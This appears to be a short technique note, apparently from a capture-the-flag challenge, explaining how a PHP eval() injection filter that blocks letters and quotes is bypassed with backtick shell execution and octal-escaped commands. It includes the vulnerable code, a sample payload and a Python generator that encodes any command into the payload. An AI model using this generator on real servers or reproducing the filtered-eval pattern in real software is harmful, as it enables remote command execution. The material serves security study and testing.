Octal backtick execution

PHP eval code injection with octal backtick execution

PHP code injection remains possible when a filter blocks literal letters and quotes but allows backticks, backslashes, and numbers.

Source review

The following pattern filters the attacker-controlled expression before inserting it into PHP code passed to eval():

$formula = $_GET['formula'];

if (preg_match_all('/[a-z\'"]+/i', $formula)) {
    return 'Invalid formula';
}

eval('$result = ' . $formula . ';');

The regular expression rejects letters and quote characters. It does not reject the backtick operator or octal escapes containing only backslashes and digits.

Octal command payload

PHP’s backtick operator executes its contents as a shell command and returns the command output. Octal escapes inside the backticks are decoded before the command is executed:

`\160\162\151\156\164\146\040\164\145\163\164`

The octal escapes decode to:

printf test

The source evaluated by PHP becomes:

$result = `\160\162\151\156\164\146\040\164\145\163\164`;

The decoded command is executed and its output is assigned to $result:

test

Payload construction

command = "<COMMAND>"
octal_command = ""
for byte in command.encode():
    octal_command += f"\\{byte:03o}"
payload = "`" + octal_command + "`"

The resulting payload contains no literal command letters or quotes. The filter reads only backticks, backslashes, and numbers. When eval() parses the expression, the octal escapes rebuild the command inside the backticks.

_{Find by: php code injection, php eval, eval injection, preg_match, letter filter, quote filter, backtick operator, shell execution, octal escape, octal command, in-band output · Source: HTB/pcalc + PHP execution operator and string documentation}